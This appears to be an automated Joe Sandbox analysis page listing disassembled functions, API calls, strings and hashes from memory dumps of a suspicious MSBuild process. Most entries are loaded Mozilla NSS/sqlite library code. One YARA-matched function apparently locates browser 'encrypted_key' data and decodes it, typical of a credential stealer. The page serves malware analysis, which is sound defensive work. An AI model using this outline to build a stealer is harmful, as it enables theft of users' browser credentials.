Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 591e67e4dec23d0ea700eff95c47b074eb181681ab380407ba4d7779ede92501
Instruction ID: a2677ba66ee4edaebd574e3b254057ae3392dc1050c7123efee3e2dd43c37a0d
Opcode Fuzzy Hash: 591e67e4dec23d0ea700eff95c47b074eb181681ab380407ba4d7779ede92501
Instruction Fuzzy Hash: 2C315877E08952AFE708CB25E801BA9B3727B82358F150165D9345BF64FB21EC52C3E2

Function 6CBF6EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CBF6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBF6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBF6F53

Part of subcall function 6CCDD930: PL_strncpyz.NSS3(?,?,?), ref: 6CCDD963

PR_LogPrint.NSS3(?,00000000), ref: 6CBF6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CBF6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CBF6FA1

Strings

hSession = 0x%x, xrefs: 6CBF6F2E, 6CBF6F3E
C_DigestUpdate, xrefs: 6CBF6F11
(CK_INVALID_HANDLE), xrefs: 6CBF6F4C
pPart = 0x%p, xrefs: 6CBF6F83
ulPartLen = %d, xrefs: 6CBF6F9C

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: f210e3a746911938dfc0a2bd71bc7434c15f9dd4b4699f5b2e79160e77c40307
Instruction ID: de71ace4ae5f15c0c9c56c2d4eea5e08b1865dce231c229a014b13025ee82afc
Opcode Fuzzy Hash: f210e3a746911938dfc0a2bd71bc7434c15f9dd4b4699f5b2e79160e77c40307
Instruction Fuzzy Hash: A031D2746111909FFB009B24DD58F9E77B9EB4231DF094025FB18A7B12EB34E84DCAA2

Function 6CBF2DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CBF2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBF2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBF2E33

Part of subcall function 6CCDD930: PL_strncpyz.NSS3(?,?,?), ref: 6CCDD963

PR_LogPrint.NSS3(?,00000000), ref: 6CBF2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CBF2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CBF2E81

Strings

pPin = 0x%p, xrefs: 6CBF2E63
ulPinLen = %d, xrefs: 6CBF2E7C
hSession = 0x%x, xrefs: 6CBF2E0E, 6CBF2E1E
C_InitPIN, xrefs: 6CBF2DF1
(CK_INVALID_HANDLE), xrefs: 6CBF2E2C

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: adb2b2c14a71628a267003fd49d1aa019c0b2295416b321bb4ddecdbee53b04c
Instruction ID: f726adaa0a70eca159468a26661c49084cbf232d79fd66522c9fcec4cde9bac8
Opcode Fuzzy Hash: adb2b2c14a71628a267003fd49d1aa019c0b2295416b321bb4ddecdbee53b04c
Instruction Fuzzy Hash: BC31F274601194ABEB009B14DD4DF9E3B78EB4631DF054025FB08A7B11EB34A80ECAA3

Function 6CAEEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAB4A68), ref: 6CAE945E
Part of subcall function 6CAE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAE9470
Part of subcall function 6CAE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAE9482
Part of subcall function 6CAE9420: __Init_thread_footer.LIBCMT ref: 6CAE949F

GetCurrentThreadId.KERNEL32 ref: 6CAEEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAEEC8C

Part of subcall function 6CAE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAE94EE
Part of subcall function 6CAE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAE9508

GetCurrentThreadId.KERNEL32 ref: 6CAEECA1
AcquireSRWLockExclusive.KERNEL32(6CB2F4B8), ref: 6CAEECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CAEECC5
ReleaseSRWLockExclusive.KERNEL32(6CB2F4B8), ref: 6CAEED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CAEED19
CloseHandle.KERNEL32(?), ref: 6CAEED28
free.MOZGLUE(00000000), ref: 6CAEED2F
ReleaseSRWLockExclusive.KERNEL32(6CB2F4B8), ref: 6CAEED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CAEEC94

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 845da2f63a1ec48a292bb4d484f02c494cb472fecf3987b5a379361638214067
Instruction ID: 0f23a16d014b13cbb2fd214745218fc81fa5e908f0df369dbf6b74489853496c
Opcode Fuzzy Hash: 845da2f63a1ec48a292bb4d484f02c494cb472fecf3987b5a379361638214067
Instruction Fuzzy Hash: 7B212475A00118EBDF00AF24D848ABA3739EF8A36CF144210FC2997740DB799889DBE1

Function 0041580D Relevance: 18.2, APIs: 12, Instructions: 188stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00415845
_memset.LIBCMT ref: 00415856

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?), ref: 00415881
lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 0041589F
lstrcatA.KERNEL32(?,?,?,?,?,?,?,?), ref: 004158B3
lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 004158C6

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 0040819F: StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 004121E7: GlobalAlloc.KERNEL32(00000000,?,?,?,?,?,0041595C,?), ref: 004121F2

StrStrA.SHLWAPI(00000000), ref: 0041596A
GlobalFree.KERNEL32(?), ref: 00415A8C

Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
Part of subcall function 00408048: LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
Part of subcall function 00408048: LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

lstrcatA.KERNEL32(?,00000000), ref: 00415A18
StrCmpCA.SHLWAPI(?,00436645), ref: 00415A35
lstrcatA.KERNEL32(?,?), ref: 00415A54
lstrcatA.KERNEL32(?,00436A8C), ref: 00415A65

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File$AllocLocal$BinaryCryptFreeGlobalString_memset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 4109952398-0
Opcode ID: e9a4ec146eb9e2c466341b8cc226d98408b61403d0bb55f03ecd5558a0089f49
Instruction ID: 7b7bb4e5801e9de9fdd6adee9fdc4bc54d4e0b6c6ea2ffc621484fda9acbbecd
Opcode Fuzzy Hash: e9a4ec146eb9e2c466341b8cc226d98408b61403d0bb55f03ecd5558a0089f49
Instruction Fuzzy Hash: 26713FB1D4022D9FDF20DF61DC45BCA77BAAF88314F0405E6E508A3250EA369FA58F55

Function 6CC92D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CC92D9F

Part of subcall function 6CB4CA30: EnterCriticalSection.KERNEL32(?,?,?,6CBAF9C9,?,6CBAF4DA,6CBAF9C9,?,?,6CB7369A), ref: 6CB4CA7A
Part of subcall function 6CB4CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB4CB26

sqlite3_exec.NSS3(?,?,6CC92F70,?,?), ref: 6CC92DF9
sqlite3_free.NSS3(00000000), ref: 6CC92E2C
sqlite3_free.NSS3(?), ref: 6CC92E3A
sqlite3_free.NSS3(?), ref: 6CC92E52
sqlite3_mprintf.NSS3(6CCFAAF9,?), ref: 6CC92E62
sqlite3_free.NSS3(?), ref: 6CC92E70
sqlite3_free.NSS3(?), ref: 6CC92E89
sqlite3_free.NSS3(?), ref: 6CC92EBB
sqlite3_free.NSS3(?), ref: 6CC92ECB
sqlite3_free.NSS3(00000000), ref: 6CC92F3E
sqlite3_free.NSS3(?), ref: 6CC92F4C

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: b2437e2ebcbff0c359852a6e43956bb1a73b54a0a47ca9162d6bb7da3d3c423d
Instruction ID: 811534766b2383c2c92df69a4f085bfaf60cd4c2a832e2aa9294abb363eafdb2
Opcode Fuzzy Hash: b2437e2ebcbff0c359852a6e43956bb1a73b54a0a47ca9162d6bb7da3d3c423d
Instruction Fuzzy Hash: D2618CB6E052059BEB00CFA8D894BDEB7B5EF48348F144028DC95A7B11F731E849CBA1

Function 6CBE2C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CBE3F23,?,6CBDE477,?,?,?,00000001,00000000,?,?,6CBE3F23,?), ref: 6CBE2C62
EnterCriticalSection.KERNEL32(0000001C,?,6CBDE477,?,?,?,00000001,00000000,?,?,6CBE3F23,?), ref: 6CBE2C76
PL_HashTableLookup.NSS3(00000000,?,?,6CBDE477,?,?,?,00000001,00000000,?,?,6CBE3F23,?), ref: 6CBE2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CBDE477,?,?,?,00000001,00000000,?,?,6CBE3F23,?), ref: 6CBE2C93

Part of subcall function 6CC6DD70: TlsGetValue.KERNEL32 ref: 6CC6DD8C
Part of subcall function 6CC6DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC6DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CBDE477,?,?,?,00000001,00000000,?,?,6CBE3F23,?), ref: 6CBE2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CBDE477,?,?,?,00000001,00000000,?,?,6CBE3F23,?), ref: 6CBE2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CBDE477,?,?,?,00000001,00000000,?,?,6CBE3F23), ref: 6CBE2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CBDE477,?,?,?,00000001,00000000,?), ref: 6CBE2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CBDE477,?,?,?,00000001,00000000,?), ref: 6CBE2D4D
EnterCriticalSection.KERNEL32(?), ref: 6CBE2D61
PL_HashTableLookup.NSS3(?,?), ref: 6CBE2D71
PR_Unlock.NSS3(?), ref: 6CBE2D7E

Part of subcall function 6CBB07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB4204A), ref: 6CBB07AD
Part of subcall function 6CBB07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB4204A), ref: 6CBB07CD
Part of subcall function 6CBB07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB4204A), ref: 6CBB07D6
Part of subcall function 6CBB07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB4204A), ref: 6CBB07E4
Part of subcall function 6CBB07A0: TlsSetValue.KERNEL32(00000000,?,6CB4204A), ref: 6CBB0864
Part of subcall function 6CBB07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBB0880
Part of subcall function 6CBB07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB4204A), ref: 6CBB08CB
Part of subcall function 6CBB07A0: TlsGetValue.KERNEL32(?,?,6CB4204A), ref: 6CBB08D7
Part of subcall function 6CBB07A0: TlsGetValue.KERNEL32(?,?,6CB4204A), ref: 6CBB08FB

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: ac30ac976b13876f7df3bbc1588423fdf5b8cfbf441d019d4ad3dc95fc231d7e
Instruction ID: 7e9b9ac397640aece789ca3ef2fb9bc8ded602e5ceb9616feceb3e3809fcb7df
Opcode Fuzzy Hash: ac30ac976b13876f7df3bbc1588423fdf5b8cfbf441d019d4ad3dc95fc231d7e
Instruction Fuzzy Hash: E15108B6D00145AFEB009F24DC859AAB778FF19398B148520ED1997B11FB31ED64C7E2

Function 6CB44C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CB43921,6CD214E4,6CC8CC70), ref: 6CB44C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CB43921,6CD214E4,6CC8CC70), ref: 6CB44CB0
PR_Unlock.NSS3(?,?,?,?,?,6CB43921,6CD214E4,6CC8CC70), ref: 6CB44CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CB43921,6CD214E4,6CC8CC70), ref: 6CB44D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CB43921,6CD214E4,6CC8CC70), ref: 6CB44D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CB43921,6CD214E4,6CC8CC70), ref: 6CB44D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CB43921,6CD214E4,6CC8CC70), ref: 6CB44D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CB43921,6CD214E4,6CC8CC70), ref: 6CB44D97
PR_Lock.NSS3(?,?,?,?,?,6CB43921,6CD214E4,6CC8CC70), ref: 6CB44DBA
PR_WaitCondVar.NSS3 ref: 6CB44DD4
PR_Unlock.NSS3(?,?,?,?,?,6CB43921,6CD214E4,6CC8CC70), ref: 6CB44DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CB43921,6CD214E4,6CC8CC70), ref: 6CB44DEF

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: ba5c1399e57c36255195377bd5cb4e21d05c3244d352733a175a9035bf16cf57
Instruction ID: 2ad99eba882a50850cd81f7b0205c1c4b6a404c4ed56a3315a63d8f30e078b08
Opcode Fuzzy Hash: ba5c1399e57c36255195377bd5cb4e21d05c3244d352733a175a9035bf16cf57
Instruction Fuzzy Hash: C941BCB1A08695CFDB00AF79D08456DBBF8FF05318F058669D9889BB05EB31D894CF82

Function 00428C34 Relevance: 18.1, APIs: 12, Instructions: 95COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00428C4D

Part of subcall function 00424192: Sleep.KERNEL32(00000000,?), ref: 004241BA

__calloc_crt.LIBCMT ref: 00428C71
_free.LIBCMT ref: 00428C7F
__calloc_crt.LIBCMT ref: 00428C8D
_free.LIBCMT ref: 00428C9D
_free.LIBCMT ref: 00428CA3
__copytlocinfo_nolock.LIBCMT ref: 00428CB2
__setlocale_nolock.LIBCMT ref: 00428CBF
_free.LIBCMT ref: 00428CD8
__setmbcp_nolock.LIBCMT ref: 00428CEA
_free.LIBCMT ref: 00428CF8
_free.LIBCMT ref: 00428D0C

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$Sleep__copytlocinfo_nolock__setlocale_nolock__setmbcp_nolock
String ID:
API String ID: 3833677464-0
Opcode ID: 784abcef5afcd593a1ca4234ae08e44cf487d9407e5e4ef41eebf28f0038ada9
Instruction ID: 43a3aa265a383408f17471e0f34179b95454a98dc0d8d6604ebfa51982022fc1
Opcode Fuzzy Hash: 784abcef5afcd593a1ca4234ae08e44cf487d9407e5e4ef41eebf28f0038ada9
Instruction Fuzzy Hash: FB21043130A6309ADB21BF27F802A5EB7E4EF91754F60842FF48456251EF399850CA6C

Function 004015E6 Relevance: 18.0, APIs: 12, Instructions: 50windowmemoryregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004015BC: GetProcessHeap.KERNEL32(00000008,000000FF), ref: 004015C6
Part of subcall function 004015BC: HeapAlloc.KERNEL32(00000000), ref: 004015CD

MessageBoxA.USER32(00000000,00000000,00000000,00000000), ref: 00401606
GetLastError.KERNEL32 ref: 0040160C
SetCriticalSectionSpinCount.KERNEL32(00000000,00000000), ref: 00401614
GetWindowContextHelpId.USER32(00000000), ref: 0040161B
GetWindowLongW.USER32(00000000,00000000), ref: 00401623
RegisterClassW.USER32(00000000), ref: 0040162A
IsWindowVisible.USER32(00000000), ref: 00401631
ConvertDefaultLocale.KERNEL32(00000000), ref: 00401638
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00401644
IsDialogMessageW.USER32(00000000,00000000), ref: 0040164C
GetProcessHeap.KERNEL32(00000000,?), ref: 00401656
HeapFree.KERNEL32(00000000), ref: 0040165D

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$Window$MessageProcess$AllocByteCharClassContextConvertCountCriticalDefaultDialogErrorFreeHelpLastLocaleLongMultiRegisterSectionSpinVisibleWide
String ID:
API String ID: 3627164727-0
Opcode ID: 90e2bc38f92fcaff424a9cbc551a6a023065eacd9b594e7e38103360e1463183
Instruction ID: 597bc7deab9f95c5419af2560a3a18d661806b2e942c9da5f2f727d66e905f75
Opcode Fuzzy Hash: 90e2bc38f92fcaff424a9cbc551a6a023065eacd9b594e7e38103360e1463183
Instruction Fuzzy Hash: 17014672402824FBC7156BA1BD6DDDF3E7CEE4A3527141265F60A910608B794A01CBFE

Function 6CAA3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CAA3284,?,?,6CAC56F6), ref: 6CAA3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CAA3284,?,?,6CAC56F6), ref: 6CAA34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CAA3284,?,?,6CAC56F6), ref: 6CAA34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CAA350E
__Init_thread_footer.LIBCMT ref: 6CAA3522
__aulldiv.LIBCMT ref: 6CAA3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CAA3284,?,?,6CAC56F6), ref: 6CAA357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CAA3284,?,?,6CAC56F6), ref: 6CAA3592

